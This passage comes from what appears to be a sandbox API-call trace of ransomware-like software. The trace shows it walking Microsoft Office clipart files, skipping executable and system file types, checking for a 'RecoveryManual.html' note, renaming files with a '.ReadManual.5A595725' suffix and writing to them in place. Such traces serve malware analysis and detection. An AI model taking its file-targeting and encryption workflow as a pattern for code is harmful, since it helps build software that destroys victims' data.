returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.ReadManual.5A595725" [0265.561] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF.ReadManual.5A595725") returned 87 [0265.561] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38622967439) returned 1 [0265.561] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf")) returned 0x20 [0265.561] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099176.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099176.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.561] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2488) returned 1 [0265.561] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9b8, lpName=0x0) returned 0x184 [0265.561] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.562] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.562] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.564] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.564] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9b8) returned 0x2f0000 [0265.564] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.564] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38623276253) returned 1 [0265.564] CloseHandle (hObject=0x184) returned 1 [0265.564] SetSecurityInfo () returned 0x57 [0265.564] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.564] CloseHandle (hObject=0x194) returned 1 [0265.564] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1 [0265.575] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099177.WMF" | out: lpString1="J0099177.WMF") returned="J0099177.WMF" [0265.576] lstrcmpiW (lpString1="J0099177.WMF", lpString2="RecoveryManual.html") returned -1 [0265.576] StrStrIW (lpFirst="J0099177.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.576] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.576] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.576] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" [0265.576] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.ReadManual.5A595725" [0265.576] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF.ReadManual.5A595725") returned 87 [0265.576] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38624488206) returned 1 [0265.576] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf")) returned 0x20 [0265.576] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099177.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099177.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.577] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5386) returned 1 [0265.577] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x150a, lpName=0x0) returned 0x184 [0265.577] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.577] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.577] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.626] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.626] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x150a) returned 0x2f0000 [0265.626] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.627] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38629530476) returned 1 [0265.627] CloseHandle (hObject=0x184) returned 1 [0265.627] SetSecurityInfo () returned 0x57 [0265.627] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.627] CloseHandle (hObject=0x194) returned 1 [0265.627] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1 [0265.627] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099178.WMF" | out: lpString1="J0099178.WMF") returned="J0099178.WMF" [0265.627] lstrcmpiW (lpString1="J0099178.WMF", lpString2="RecoveryManual.html") returned -1 [0265.627] StrStrIW (lpFirst="J0099178.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.627] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.627] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.628] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.628] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.628] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" [0265.628] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.ReadManual.5A595725" [0265.628] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF.ReadManual.5A595725") returned 87 [0265.628] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38629644451) returned 1 [0265.628] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf")) returned 0x20 [0265.630] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.630] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3606) returned 1 [0265.630] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe16, lpName=0x0) returned 0x184 [0265.630] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.631] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.631] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.632] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.632] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe16) returned 0x2f0000 [0265.633] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.633] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38630140919) returned 1 [0265.633] CloseHandle (hObject=0x184) returned 1 [0265.633] SetSecurityInfo () returned 0x57 [0265.633] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.633] CloseHandle (hObject=0x194) returned 1 [0265.633] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1 [0265.633] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099179.WMF" | out: lpString1="J0099179.WMF") returned="J0099179.WMF" [0265.633] lstrcmpiW (lpString1="J0099179.WMF", lpString2="RecoveryManual.html") returned -1 [0265.633] StrStrIW (lpFirst="J0099179.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.633] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.633] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.634] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" [0265.634] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.ReadManual.5A595725" [0265.634] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF.ReadManual.5A595725") returned 87 [0265.634] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38630238394) returned 1 [0265.634] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf")) returned 0x20 [0265.634] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.634] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9154) returned 1 [0265.634] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23c2, lpName=0x0) returned 0x184 [0265.634] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.635] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.635] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.636] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.637] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23c2) returned 0x2f0000 [0265.637] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.637] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38630559598) returned 1 [0265.637] CloseHandle (hObject=0x184) returned 1 [0265.637] SetSecurityInfo () returned 0x57 [0265.637] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.637] CloseHandle (hObject=0x194) returned 1 [0265.637] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1 [0265.637] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099180.WMF" | out: lpString1="J0099180.WMF") returned="J0099180.WMF" [0265.637] lstrcmpiW (lpString1="J0099180.WMF", lpString2="RecoveryManual.html") returned -1 [0265.637] StrStrIW (lpFirst="J0099180.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.637] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.637] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.637] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.637] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.637] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.637] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.637] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.638] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.638] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.638] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.638] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.638] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.638] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.638] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.638] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" [0265.638] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.ReadManual.5A595725" [0265.638] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF.ReadManual.5A595725") returned 87 [0265.638] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38630853138) returned 1 [0265.640] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf")) returned 0x20 [0265.640] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.640] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3394) returned 1 [0265.640] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd42, lpName=0x0) returned 0x184 [0265.640] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.647] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.647] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0265.649] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0265.649] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd42) returned 0x2f0000 [0265.649] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0265.649] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38631780188) returned 1 [0265.649] CloseHandle (hObject=0x184) returned 1 [0265.649] SetSecurityInfo () returned 0x57 [0265.649] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0265.649] CloseHandle (hObject=0x194) returned 1 [0265.649] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1 [0265.649] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0099181.WMF" | out: lpString1="J0099181.WMF") returned="J0099181.WMF" [0265.649] lstrcmpiW (lpString1="J0099181.WMF", lpString2="RecoveryManual.html") returned -1 [0265.649] StrStrIW (lpFirst="J0099181.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0265.649] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0265.650] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0265.650] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" [0265.650] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.ReadManual.5A595725" [0265.650] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF.ReadManual.5A595725") returned 87 [0265.650] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38631877247) returned 1 [0265.650] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf")) returned 0x20 [0265.650] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099181.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0265.650] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1198) returned 1 [0265.650] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ae, lpName=0x0) returned 0x184 [0265.651] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0265.651] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.651] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, 